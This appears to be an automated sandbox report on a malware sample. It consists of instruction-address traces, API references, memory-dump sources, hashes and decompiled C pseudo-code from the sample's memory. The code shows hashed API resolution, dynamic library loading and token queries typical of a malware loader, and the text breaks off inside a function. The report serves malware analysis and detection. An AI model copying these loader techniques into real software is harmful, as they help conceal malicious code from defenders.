0x6ed44be2
0x6ed44be2
0x6ed44bee
0x6ed44b5d
0x6ed44b5d
0x6ed44b69
0x6ed44d2d
0x00000000
0x6ed44b6f
0x6ed44b71
0x6ed44ba0
0x6ed44ba5
0x6ed44bab
0x6ed44baf
0x6ed44d04
0x6ed44d0f
0x6ed44d15
0x6ed44d15
0x6ed44d04
0x6ed44bb7
0x00000000
0x6ed44bb9
0x6ed44bc0
0x6ed44bc3
0x00000000
0x6ed44bc3
0x6ed44b73
0x6ed44b75
0x6ed44b75
0x6ed44b77
0x6ed44b79
0x6ed44b87
0x6ed44b88
0x6ed44b8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44b8e
0x6ed44d1c
0x6ed44d22
0x6ed44bc8
0x6ed44bca
0x00000000
0x6ed44bcc
0x6ed44bcc
0x6ed44bcd
0x6ed44bce
0x6ed44bce
0x6ed44d28
0x00000000
0x6ed44d28
0x00000000
0x6ed44b90
0x6ed44b90
0x6ed44b96
0x6ed44b96
0x6ed44b9c
0x00000000
0x6ed44b75
0x6ed44b71
0x6ed44b69
0x6ed44a9f
0x6ed44aa1
0x6ed44aa5
0x6ed44aa9
0x6ed44aab
0x6ed44aaf
0x6ed44ab1
0x6ed44ab1
0x6ed44abd
0x6ed44d71
0x00000000
0x6ed44ac3
0x6ed44ac5
0x6ed44af4
0x6ed44af9
0x6ed44aff
0x6ed44b03
0x6ed44d48
0x6ed44d53
0x6ed44d59
0x6ed44d59
0x6ed44d48
0x6ed44b0b
0x00000000
0x6ed44b0d
0x6ed44b14
0x6ed44b17
0x00000000
0x6ed44b17
0x6ed44ac7
0x6ed44ac9
0x6ed44ac9
0x6ed44acb
0x6ed44acd
0x6ed44adb
0x6ed44adc
0x6ed44ae2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44ae2
0x6ed44d60
0x6ed44d66
0x6ed44b1c
0x6ed44b1e
0x00000000
0x6ed44b20
0x6ed44b20
0x6ed44b24
0x6ed44b28
0x6ed44b29
0x6ed44b29
0x6ed44d6c
0x00000000
0x6ed44d6c
0x00000000
0x6ed44ae4
0x6ed44ae4
0x6ed44aea
0x6ed44aea
0x6ed44af0
0x00000000
0x6ed44ac9
0x6ed44ac5
0x00000000
0x6ed44b32
0x6ed44b32
0x6ed44b33
0x6ed44b3b
0x6ed44b3f
0x00000000
0x6ed44b43
0x6ed44a99
0x6ed44a8b
0x6ed44e5d
0x00000000
0x6ed44e5d
0x00000000
0x6ed44a26
0x6ed44a26
0x6ed44a2c
0x6ed44a2c
0x6ed44a32
0x00000000
0x6ed44a0b
0x6ed44a09
0x6ed44a01
0x6ed4497d
0x6ed4497d
0x6ed44980
0x6ed4498a
0x6ed44990
0x6ed44990
0x6ed4499c
0x6ed4499c
0x6ed44f4c
0x00000000
0x6ed44f4c
0x00000000
0x6ed4493f
0x6ed4493f
0x6ed44945
0x6ed44945
0x6ed4494b
0x00000000
0x6ed44924
0x6ed44922
0x6ed448ec
0x6ed448f1
0x6ed448f7
0x6ed448f7
0x00000000
0x6ed448f1
0x6ed448cb
0x6ed448da
0x6ed448de
0x6ed44f60
0x6ed44f6c
0x6ed44fda
0x00000000
0x6ed44f6e
0x6ed44f70
0x6ed44f99
0x6ed44f9e
0x6ed44fa4
0x6ed44fa8
0x6ed44ff2
0x6ed44ff9
0x6ed44fff
0x6ed44fff
0x6ed44ff2
0x6ed44fac
0x00000000
0x6ed44fb2
0x6ed44fb9
0x6ed44fbc
0x00000000
0x6ed44fbc
0x6ed44f72
0x6ed44f72
0x6ed44f72
0x6ed44f74
0x6ed44f76
0x6ed44f80
0x6ed44f81
0x6ed44f87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed44f87
0x6ed44fd0
0x6ed44fd6
0x6ed44fc1
0x6ed44fc3
0x00000000
0x6ed44fc9
0x6ed44fc9
0x6ed44fca
0x6ed44fca
0x6ed44fd8
0x00000000
0x6ed44fd8
0x00000000
0x6ed44f89
0x6ed44f89
0x6ed44f8f
0x6ed44f8f
0x6ed44f95
0x00000000
0x6ed44f72
0x6ed44f70
0x00000000
0x00000000
0x00000000
0x6ed448de
0x6ed45033
0x00000000
0x6ed45033
0x00000000
0x6ed4488d
0x6ed4488d
0x6ed44893
0x6ed44893
0x6ed44899
0x00000000
0x6ed44872
0x6ed44870
0x6ed44868
0x6ed44841
0x6ed450de
0x00000000
0x6ed450de
0x00000000
0x6ed447ee
0x6ed447ee
0x6ed447f4
0x6ed447f4
0x6ed447fa
0x00000000
0x6ed447d3
0x6ed447d1
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?), ref: 6ED448DA
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?,00000000), ref: 6ED449C1

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: e5b6c557d5f9d9a1d4322dc6c1b37e6b1edd9f318ef52fa3ea6c4e67b2425bc4
Instruction ID: 3095b59e7b94a5a1cca6219523c7cd491dd7d77438a61d9ee138cd7c866909b8
Opcode Fuzzy Hash: e5b6c557d5f9d9a1d4322dc6c1b37e6b1edd9f318ef52fa3ea6c4e67b2425bc4
Instruction Fuzzy Hash: 39121920704343DBEB44DFE989D076A72D9AFB1208F148A3DD965CB285EF34C887C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6ED3543B() {
				signed int _t131;
				void* _t134;
				signed int _t142;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t170;
				intOrPtr _t171;
				intOrPtr* _t175;
				void* _t190;
				void* _t200;
				intOrPtr _t203;
				signed int _t213;
				signed int _t217;
				void* _t232;
				intOrPtr* _t233;
				signed int _t236;
				unsigned int _t240;
				intOrPtr _t243;
				signed short* _t244;
				signed int _t247;
				void* _t265;
				void* _t273;
				signed int _t276;
				signed int _t277;
				signed int _t280;
				signed int _t281;
				intOrPtr* _t325;
				intOrPtr* _t333;
				signed int _t348;
				signed int _t350;
				signed int _t353;
				intOrPtr* _t385;
				void* _t400;
				signed int _t401;
				void* _t406;
				signed int _t407;
				intOrPtr* _t410;
				void* _t413;
				intOrPtr* _t416;

				asm("outsb");
				_t410 = E6ED43930(_t273, 0, _t400, _t404);
				if( *_t410 < 0x10) {
					L6ED35150();
				}
				E6ED36020(_t273);
				E6ED48810(_t416 + 0x114, 0x200);
				_t385 = E6ED415C0(0xa1310f65, 0xc4d11e8a);
				if(_t385 != 0) {
					 *_t385(0,  *(_t416 + 0x114),  *(_t416 + 0x114) >> 1);
				}
				E6ED42580(_t416 + 0x118, _t400, _t404);
				if(E6ED49C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x118))) == 0) {
					E6ED42780(_t416 + 0xe4, _t400, _t404);
					_t131 = E6ED49C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0xe4)));
					__eflags = _t131;
					if(_t131 == 0) {
						E6ED42580(_t416 + 0xb4, _t400, _t404);
						_t404 = _t416 + 0x98;
						E6ED4D980(_t416 + 0xbc, _t416 + 0x98, 0x5c);
						_t134 = E6ED57600(_t416 + 0x98, 2);
						E6ED3AC00(_t416 + 0xbc, 6);
						E6ED48CC0(_t134,  *((intOrPtr*)(_t416 + 0xbc)));
						E6ED48CA0(_t416 + 0xbc);
						E6ED589F0(_t404, _t416 + 0x124, 0x5c);
						E6ED58910(_t404, _t400, _t404);
						E6ED48CA0(_t416 + 0xb4);
						_t142 = E6ED49C70(_t416 + 0x114, _t400,  *((intOrPtr*)(_t416 + 0x120)));
						__eflags = _t142;
						_t23 = _t142 > 0;
						__eflags = _t23;
						_t276 = 0 | _t23;
						E6ED48CA0(_t416 + 0x120);
					} else {
						_t276 = 1;
					}
					E6ED48CA0(_t416 + 0xe4);
					E6ED48CA0(_t416 + 0x118);
					__eflags = _t276;
					if(_t276 == 0) {
						_t277 = 0;
						__eflags = 0;
					} else {
						goto L11;
					}
				} else {
					E6ED48CA0(_t416 + 0x118);
					L11:
					_t277 = 1;
				}
				E6ED3AC00(_t416 + 0x120, 2);
				E6ED4D980(_t416 + 0x128, _t416 + 0x130, 0x7e);
				E6ED48CA0(_t416 + 0x120);
				if( *(_t416 + 0x130) > 0) {
					 *_t416 = _t410;
					_t401 = _t416 + 0x130;
					L15:
					while(1) {
						L15:
						while(1) {
							L15:
							if(E6ED415C0(0xa1310f65, 0xf3af54a7) != 0) {
								LoadLibraryW( *(E6ED57600(_t401, _t404))); // executed
							}
							_t265 =  *(_t416 + 0x130);
							while(1) {
								_t404 = 1;
								if(1 >= _t265) {
									break;
								}
								if(1 != 4) {
									goto L15;
								} else {
									_t388 =  *0x6ed6b02a & 0x000000ff;
									if(( *0x6ed6b02a & 0x000000ff) == 2) {
										continue;
									} else {
										goto L15;
									}
								}
								goto L23;
							}
							_t410 =  *_t416;
							goto L23;
						}
					}
				}
				L23:
				__eflags =  *((intOrPtr*)(_t410 + 0x2c)) - 2;
				if( *((intOrPtr*)(_t410 + 0x2c)) != 2) {
					__eflags =  *0x6ed6b028 & 0x000000ff;
					if(( *0x6ed6b028 & 0x000000ff) == 0) {
						__eflags =  *0x6ed6b265 & 0x000000ff;
						if(( *0x6ed6b265 & 0x000000ff) == 0) {
							__eflags =  *0x6ed6b1cc - 1;
							if( *0x6ed6b1cc != 1) {
								_t243 =  *0x6ed6b1d0; // 0x93fa98
								_t244 =  *(_t243 + 4);
								_t388 =  *_t244 & 0x0000ffff;
								__eflags = ( *_t244 & 0x0000ffff) - 0x2d;
								if(( *_t244 & 0x0000ffff) != 0x2d) {
									E6ED48AB0(_t416 + 0xcc, _t244, 0);
									_push(0x80);
									_push(0);
									E6ED5A4E0(_t416 + 0x68, __eflags,  *((intOrPtr*)(_t416 + 0xd0)), 1);
									_t247 = E6ED5BEA0(_t416 + 0x64, _t388, _t404);
									__eflags = _t247;
									if(_t247 == 0) {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6ED5BE30(_t416 + 0x64, _t404);
										}
										E6ED48CA0(_t416 + 0x58);
										_t407 = 0;
										__eflags = 0;
										while(1) {
											__eflags = E6ED5A730(_t416 + 0xc4, _t388);
											if(__eflags == 0) {
												break;
											}
											E6ED422A0(0x64, _t388);
											_t407 = _t407 + 1;
											__eflags = _t407 - 0x64;
											if(__eflags < 0) {
												continue;
											}
											break;
										}
										_t404 = _t416 + 0xcc;
										do {
											E6ED4AE80(_t416 + 0xcc, __eflags, _t404, 0x5c);
											E6ED48CC0(_t416 + 0xc8,  *(_t416 + 0xcc));
											E6ED48CA0(_t404);
											__eflags = E6ED5A730(_t416 + 0xc4, _t388);
										} while (__eflags == 0);
									} else {
										__eflags =  *((char*)(_t416 + 0x68));
										if( *((char*)(_t416 + 0x68)) != 0) {
											E6ED5BE30(_t416 + 0x64, _t404);
										}
										E6ED48CA0(_t416 + 0x58);
									}
									E6ED48CA0(_t416 + 0xc4);
								}
							}
						}
					}
					__eflags = ( *0x6ed6b02a & 0x000000ff) - 2;
					if(( *0x6ed6b02a & 0x000000ff) == 2) {
						L52:
						_t152 =  *0x6ed6b1ad; // 0xb72078
						__eflags = _t152;
						if(_t152 == 0) {
							L54:
							_t153 =  *0x6ed6b1ad; // 0xb72078
							__eflags = _t153;
							if(_t153 == 0) {
								_push(0x10);
								_t154 = E6ED41030();
								_t416 = _t416 + 4;
								__eflags = _t154;
								if(_t154 != 0) {
									_push(0);
									_t155 = E6ED59350(_t154);
								} else {
									_t155 = 0;
								}
								 *0x6ed6b1ad = _t155;
							}
							_t404 =  *0x6ed6b1ad; // 0xb72078
							__eflags = ( *0x6ed6b02a & 0x000000ff) - 1;
							if(( *0x6ed6b02a & 0x000000ff) == 1) {
								_t388 = 0x18f8c844;
								_t401 = _t416 + 0x28;
								E6ED36AD0(_t277, _t401, 0x18f8c844, _t401, _t404, 1, 0);
								_push(_t401);
								E6ED59520(_t404);
								E6ED59510(_t401);
							} else {
								E6ED59710(_t404, 0x6ed6b02d,  *0x6ed6b02b & 0x0000ffff);
							}
						} else {
							_t350 =  *0x6ed6b1ad; // 0xb72078
							_t217 = E6ED59660(_t350);
							__eflags = _t217;
							if(_t217 != 0) {
								goto L54;
							}
						}
						_t160 =  *0x6ed6b1b1; // 0x0
						__eflags = _t160;
						if(_t160 == 0) {
							L60:
							_t161 =  *0x6ed6b1b1; // 0x0
							__eflags = _t161;
							if(_t161 == 0) {
								_push(0x10);
								_t162 = E6ED41030();
								_t416 = _t416 + 4;
								__eflags = _t162;
								if(_t162 != 0) {
									_push(0);
									_t163 = E6ED59350(_t162);
								} else {
									_t163 = 0;
								}
								 *0x6ed6b1b1 = _t163;
							}
							_t401 =  *0x6ed6b1b1; // 0x0
							__eflags = ( *0x6ed6b02a & 0x000000ff) - 1;
							if(( *0x6ed6b02a & 0x000000ff) == 1) {
								_t388 = 0x11041f01;
								E6ED36AD0(_t277, _t416 + 0x38, 0x11041f01, _t401, _t404, 1, 1);
								_push(_t416 + 0x38);
								E6ED59520(_t401);
								E6ED59510(_t416 + 0x38);
								_t170 = E6ED59650(_t401);
								__eflags = _t170;
								if(_t170 != 0) {
									_t388 = 0xd3ef7577;
									E6ED36AD0(_t277, _t416 + 8, 0xd3ef7577, _t401, _t404, 0, 0);
									E6ED59510(_t416);
								}
							} else {
								_t404 =  *0x6ed6b1c4; // 0x6ed30000
								__eflags =  *((char*)(E6ED43930(_t277, 0, _t401, _t404) + 0xb)) - 0x20;
								_t397 =  ==  ? 0x7e839a6 : 0x93fc68d6;
								_t388 = _t404;
								E6ED39090(_t416 + 0x88, _t404,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t416 + 0x88);
								E6ED59520(_t401);
								E6ED59510(_t416 + 0x88);
							}
						} else {
							_t348 =  *0x6ed6b1b1; // 0x0
							_t213 = E6ED59660(_t348);
							__eflags = _t213;
							if(_t213 != 0) {
								goto L60;
							}
						}
						_t171 =  *((intOrPtr*)(_t410 + 0x2c));
						__eflags = _t171 - 3;
						if(_t171 == 3) {
							__eflags =  *0x6ed6b1cc - 3;
							if( *0x6ed6b1cc == 3) {
								E6ED48CC0(_t416 + 0x10c,  *((intOrPtr*)( *0x6ed6b1d0 + 8)));
							}
							_t278 = _t416 + 0x48;
							E6ED48810(_t416 + 0x48, 0);
							_t175 = E6ED49890(_t278, _t416 + 0x48, _t388, _t401, _t404, _t278, 0x6ed69428,  *((intOrPtr*)(_t410 + 0x2c)));
							E6ED50220(_t416 + 0x110,  *_t175, 0);
							E6ED48CA0(_t278);
							L6ED38180(_t404);
						} else {
							__eflags = _t171 - 5;
							if(_t171 != 5) {
								__eflags = _t171 - 6;
								if(__eflags == 0) {
									_t325 = _t416 + 0xa4;
									 *_t325 = 0;
									 *((intOrPtr*)(_t325 + 4)) = 0;
									 *((intOrPtr*)(_t325 + 8)) = 0;
									 *((intOrPtr*)(_t325 + 0xc)) = 0;
									L6ED45B60(_t277, _t325, _t401, _t404, __eflags);
									E6ED36740(_t416 + 0xa4);
									E6ED41350(0x12);
									__eflags =  *(_t416 + 0xa8);
									if( *(_t416 + 0xa8) > 0) {
										_t280 = 0;
										__eflags = 0;
										do {
											_t190 = E6ED62B00(_t416 + 0xa8, _t280);
											__eflags =  *((char*)(_t190 + 0x3c));
											if( *((char*)(_t190 + 0x3c)) == 0) {
												E6ED32A40(_t416 + 0x50, _t190);
												E6ED48CA0(_t416 + 0x50);
											}
											_t280 = _t280 + 1;
											__eflags = _t280 -  *(_t416 + 0xa8);
										} while (_t280 <  *(_t416 + 0xa8));
									}
									E6ED62970(_t277, _t416 + 0xa4, _t401);
									_t329 =  *(_t416 + 0xb0);
									__eflags =  *(_t416 + 0xb0);
									if( *(_t416 + 0xb0) != 0) {
										E6ED32A20(_t329, 1);
									}
								}
							} else {
								__eflags = _t277;
								if(_t277 == 0) {
									__eflags =  *0x6ed6b1cc - 1;
									if(__eflags <= 0) {
										L69:
										_t333 = _t416 + 0x18;
										 *_t333 = 0;
										 *((intOrPtr*)(_t333 + 4)) = 0;
										 *((intOrPtr*)(_t333 + 8)) = 0;
										 *((intOrPtr*)(_t333 + 0xc)) = 0;
										L6ED45B60(_t277, _t333, _t401, _t404, __eflags);
										__eflags = ( *0x6ed6b029 & 0x000000ff) - 1;
										E6ED37DB0(_t416 + 0x18, 0 | ( *0x6ed6b029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6ed6b029 & 0x000000ff;
										if(( *0x6ed6b029 & 0x000000ff) != 0) {
											E6ED41350(0x12);
											__eflags =  *(_t416 + 0x1c);
											if( *(_t416 + 0x1c) > 0) {
												_t281 = 0;
												__eflags = 0;
												do {
													_t200 = E6ED62B00(_t416 + 0x1c, _t281);
													__eflags =  *((char*)(_t200 + 0x3c));
													if( *((char*)(_t200 + 0x3c)) == 0) {
														E6ED32A40(_t416 + 0x10, _t200);
														E6ED48CA0(_t416 + 0x10);
													}
													_t281 = _t281 + 1;
													__eflags = _t281 -  *(_t416 + 0x1c);
												} while (_t281 <  *(_t416 + 0x1c));
											}
										}
										E6ED62970(_t277, _t416 + 0x18, _t401);
										_t336 =  *(_t416 + 0x24);
										__eflags =  *(_t416 + 0x24);
										if( *(_t416 + 0x24) != 0) {
											E6ED32A20(_t336, 1);
										}
									} else {
										_t203 =  *0x6ed6b1d0; // 0x93fa98
										__eflags = ( *( *(_t203 + 4)) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L69;
										}
									}
								}
							}
						}
						E6ED58910(_t416 + 0x130, _t401, _t404);
						E6ED48CA0(_t416 + 0x110);
						E6ED48CA0(_t416 + 0x108);
						E6ED47A70(_t416 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6ed6b027 & 0x000000ff;
						if(( *0x6ed6b027 & 0x000000ff) == 0) {
							goto L52;
						} else {
							__eflags = _t277;
							if(_t277 != 0) {
								goto L52;
							} else {
								__eflags =  *((char*)(_t410 + 0xb)) - 0x20;
								_t399 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6ED361B0(_t416 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t410 + 0xb)) - 0x20);
								E6ED48810(_t416 + 0x18, 0x200);
								_t353 = E6ED415C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t353;
								if(__eflags != 0) {
									_t240 =  *(_t416 + 0x18) >> 1;
									__eflags = _t240;
									_t399 =  *0x6ed6b1c4; // 0x6ed30000
									 *_t353(_t399,  *(_t416 + 0x18), _t240);
								}
								_push(0x80);
								_push(0);
								E6ED5A4E0(_t416 + 0x10, __eflags,  *((intOrPtr*)(_t416 + 0x20)), 1);
								E6ED5A520(_t416 + 8, _t399, _t416 + 0x1c, 0);
								__eflags =  *((char*)(_t416 + 0x10));
								if( *((char*)(_t416 + 0x10)) != 0) {
									E6ED5BE30(_t416 + 0xc, _t404);
								}
								__eflags = 0;
								E6ED48CA0(_t416);
								_t406 = _t416 + 0x1a0;
								_t413 = _t416 + 0x2c;
								while(1) {
									E6ED40B70(_t406, 0, 0x44);
									 *((intOrPtr*)(_t416 + 0x1ac)) = 0x44;
									E6ED40B70(_t413, 0, 0x10);
									_t416 = _t416 + 0x18;
									E6ED48810(_t416 + 0x4c, 0);
									_t232 = E6ED496D0(E6ED496D0(E6ED50220(_t416 + 0x50,  *((intOrPtr*)(_t416 + 0x40)), 0), 0x20), 0x22);
									_t233 =  *0x6ed6b1d0; // 0x93fa98
									E6ED496D0(E6ED50220(_t232,  *_t233, 0), 0x22);
									_t236 = E6ED415C0(0xa1310f65, 0x643f303c);
									__eflags = _t236;
									if(_t236 != 0) {
										break;
									}
									E6ED48CA0(_t416 + 0x48);
								}
								_push(_t413);
								_push(_t406);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t416 + 0x68)));
								_push( *((intOrPtr*)(_t416 + 0x60)));
								asm("int3");
								return _t236;
							}
						}
					}
				} else {
					E6ED58910(_t416 + 0x130, _t400, _t404);
					E6ED48CA0(_t416 + 0x110);
					E6ED48CA0(_t416 + 0x108);
					E6ED47A70(_t416 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6ed3543d
0x6ed35451
0x6ed35457
0x6ed35459
0x6ed35459
0x6ed3545e
0x6ed3546f
0x6ed35483
0x6ed35487
0x6ed3549c
0x6ed3549c
0x6ed354a5
0x6ed354bf
0x6ed354d9
0x6ed354ec
0x6ed354f1
0x6ed354f3
0x6ed35506
0x6ed3550b
0x6ed3551c
0x6ed35525
0x6ed35538
0x6ed35546
0x6ed35552
0x6ed35563
0x6ed3556a
0x6ed35576
0x6ed35589
0x6ed35590
0x6ed35599
0x6ed35599
0x6ed35599
0x6ed3559c
0x6ed354f5
0x6ed354f5
0x6ed354f5
0x6ed355a8
0x6ed355b4
0x6ed355b9
0x6ed355bb
0x6ed355c4
0x6ed355c4
0x00000000
0x00000000
0x00000000
0x6ed354c1
0x6ed354c8
0x6ed355bd
0x6ed355bd
0x6ed355bd
0x6ed355d2
0x6ed355e8
0x6ed355f4
0x6ed35601
0x6ed35603
0x6ed35608
0x00000000
0x6ed3560f
0x00000000
0x6ed3560f
0x6ed3560f
0x6ed35622
0x6ed3562e
0x6ed3562e
0x6ed35630
0x6ed35637
0x6ed35637
0x6ed3563a
0x00000000
0x00000000
0x6ed3563f
0x00000000
0x6ed35641
0x6ed35641
0x6ed3564b
0x00000000
0x6ed3564d
0x00000000
0x6ed3564d
0x6ed3564b
0x00000000
0x6ed3563f
0x6ed3564f
0x00000000
0x6ed3564f
0x6ed3560f
0x6ed3560f
0x6ed35652
0x6ed35652
0x6ed35656
0x6ed3569c
0x6ed3569e
0x6ed356ab
0x6ed356ad
0x6ed356b3
0x6ed356ba
0x6ed356c0
0x6ed356c5
0x6ed356c8
0x6ed356cb
0x6ed356ce
0x6ed356de
0x6ed356e3
0x6ed356e8
0x6ed356f7
0x6ed35700
0x6ed35705
0x6ed35707
0x6ed35724
0x6ed35729
0x6ed3572f
0x6ed3572f
0x6ed35738
0x6ed3573d
0x6ed3573d
0x6ed3573f
0x6ed3574b
0x6ed3574d
0x00000000
0x00000000
0x6ed35754
0x6ed35759
0x6ed3575a
0x6ed3575d
0x00000000
0x00000000
0x00000000
0x6ed3575d
0x6ed3575f
0x6ed35766
0x6ed35770
0x6ed35783
0x6ed3578a
0x6ed3579b
0x6ed3579b
0x6ed35709
0x6ed35709
0x6ed3570e
0x6ed35714
0x6ed35714
0x6ed3571d
0x6ed3571d
0x6ed357a6
0x6ed357a6
0x6ed356ce
0x6ed356ba
0x6ed356ad
0x6ed357b2
0x6ed357b5
0x6ed35b3c
0x6ed35b3c
0x6ed35b41
0x6ed35b43
0x6ed35b54
0x6ed35b54
0x6ed35b59
0x6ed35b5b
0x6ed35e33
0x6ed35e35
0x6ed35e3a
0x6ed35e3d
0x6ed35e3f
0x6ed35e47
0x6ed35e49
0x6ed35e41
0x6ed35e41
0x6ed35e41
0x6ed35e4e
0x6ed35e4e
0x6ed35b61
0x6ed35b6e
0x6ed35b71
0x6ed35e0b
0x6ed35e10
0x6ed35e1a
0x6ed35e21
0x6ed35e22
0x6ed35e29
0x6ed35b77
0x6ed35b86
0x6ed35b86
0x6ed35b45
0x6ed35b45
0x6ed35b4b
0x6ed35b50
0x6ed35b52
0x00000000
0x00000000
0x6ed35b52
0x6ed35b92
0x6ed35b97
0x6ed35b99
0x6ed35baa
0x6ed35baa
0x6ed35baf
0x6ed35bb1
0x6ed35eb0
0x6ed35eb2
0x6ed35eb7
0x6ed35eba
0x6ed35ebc
0x6ed35ec4
0x6ed35ec6
0x6ed35ebe
0x6ed35ebe
0x6ed35ebe
0x6ed35ecb
0x6ed35ecb
0x6ed35bb7
0x6ed35bc4
0x6ed35bc7
0x6ed35e62
0x6ed35e68
0x6ed35e73
0x6ed35e74
0x6ed35e7d
0x6ed35e84
0x6ed35e89
0x6ed35e8b
0x6ed35e93
0x6ed35e9e
0x6ed35ea6
0x6ed35ea6
0x6ed35bcd
0x6ed35bcf
0x6ed35be8
0x6ed35bf1
0x6ed35bf5
0x6ed35bf7
0x6ed35c05
0x6ed35c06
0x6ed35c12
0x6ed35c12
0x6ed35b9b
0x6ed35b9b
0x6ed35ba1
0x6ed35ba6
0x6ed35ba8
0x00000000
0x00000000
0x6ed35ba8
0x6ed35c1e
0x6ed35c21
0x6ed35c24
0x6ed35d87
0x6ed35d8e
0x6ed35ee4
0x6ed35ee4
0x6ed35d94
0x6ed35d9c
0x6ed35daa
0x6ed35dbd
0x6ed35dc4
0x6ed35dc9
0x6ed35c2a
0x6ed35c2a
0x6ed35c2d
0x6ed35cf0
0x6ed35cf3
0x6ed35cfb
0x6ed35d02
0x6ed35d04
0x6ed35d07
0x6ed35d0a
0x6ed35d0d
0x6ed35d1b
0x6ed35d25
0x6ed35d2a
0x6ed35d32
0x6ed35d34
0x6ed35d34
0x6ed35d36
0x6ed35d3e
0x6ed35d43
0x6ed35d47
0x6ed35d4f
0x6ed35d58
0x6ed35d58
0x6ed35d5d
0x6ed35d5e
0x6ed35d5e
0x6ed35d36
0x6ed35d6e
0x6ed35d73
0x6ed35d7a
0x6ed35d7c
0x6ed35d80
0x6ed35d80
0x6ed35d7c
0x6ed35c33
0x6ed35c33
0x6ed35c35
0x6ed35c3b
0x6ed35c42
0x6ed35c58
0x6ed35c5a
0x6ed35c5e
0x6ed35c60
0x6ed35c63
0x6ed35c66
0x6ed35c69
0x6ed35c77
0x6ed35c81
0x6ed35c8d
0x6ed35c8f
0x6ed35c96
0x6ed35c9b
0x6ed35ca0
0x6ed35ca2
0x6ed35ca2
0x6ed35ca4
0x6ed35ca9
0x6ed35cae
0x6ed35cb2
0x6ed35cba
0x6ed35cc3
0x6ed35cc3
0x6ed35cc8
0x6ed35cc9
0x6ed35cc9
0x6ed35ca4
0x6ed35ca0
0x6ed35cd3
0x6ed35cd8
0x6ed35cdc
0x6ed35cde
0x6ed35ce6
0x6ed35ce6
0x6ed35c44
0x6ed35c44
0x6ed35c4f
0x6ed35c52
0x00000000
0x00000000
0x6ed35c52
0x6ed35c42
0x6ed35c35
0x6ed35c2d
0x6ed35dd5
0x6ed35de1
0x6ed35ded
0x6ed35df9
0x6ed35dfe
0x6ed35e0a
0x6ed357bb
0x6ed357c2
0x6ed357c4
0x00000000
0x6ed357ca
0x6ed357ca
0x6ed357cc
0x00000000
0x6ed357d2
0x6ed357dc
0x6ed357e4
0x6ed357e7
0x6ed357f5
0x6ed35809
0x6ed3580b
0x6ed3580d
0x6ed35813
0x6ed35813
0x6ed3581a
0x6ed35821
0x6ed35821
0x6ed35823
0x6ed35828
0x6ed35834
0x6ed35844
0x6ed35849
0x6ed3584e
0x6ed35854
0x6ed35854
0x6ed35859
0x6ed3585e
0x6ed35863
0x6ed3586a
0x6ed3586e
0x6ed35873
0x6ed35878
0x6ed35888
0x6ed3588d
0x6ed35896
0x6ed358b7
0x6ed358be
0x6ed358d0
0x6ed358df
0x6ed358e4
0x6ed358e6
0x00000000
0x00000000
0x6ed35996
0x6ed35996
0x6ed358ec
0x6ed358ed
0x6ed358ee
0x6ed358ef
0x6ed358f0
0x6ed358f2
0x6ed358f3
0x6ed358f4
0x6ed358f5
0x6ed358f9
0x6ed358fd
0x6ed358fe
0x6ed358fe
0x6ed357cc
0x6ed357c4
0x6ed35658
0x6ed3565f
0x6ed3566b
0x6ed35677
0x6ed35683
0x6ed35688
0x6ed35694
0x6ed35694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6ED3562E

Strings

)V, xrefs: 6ED355D2

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: fc4f6c4d6ef4f78f7946ec6fc9f1f58463ff665bc03eb753c593e9736f67c1ae
Instruction ID: a069be9872716e126e99672be32e90e933f64d12ddbc830b0d7c430593df4122
Opcode Fuzzy Hash: fc4f6c4d6ef4f78f7946ec6fc9f1f58463ff665bc03eb753c593e9736f67c1ae
Instruction Fuzzy Hash: F631F43011C254CBC779EBE4C851BDEB3E9AF96309F600C2CD1D646190EF319955CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6ED354F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E6ED354F5() {
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				signed int _t117;
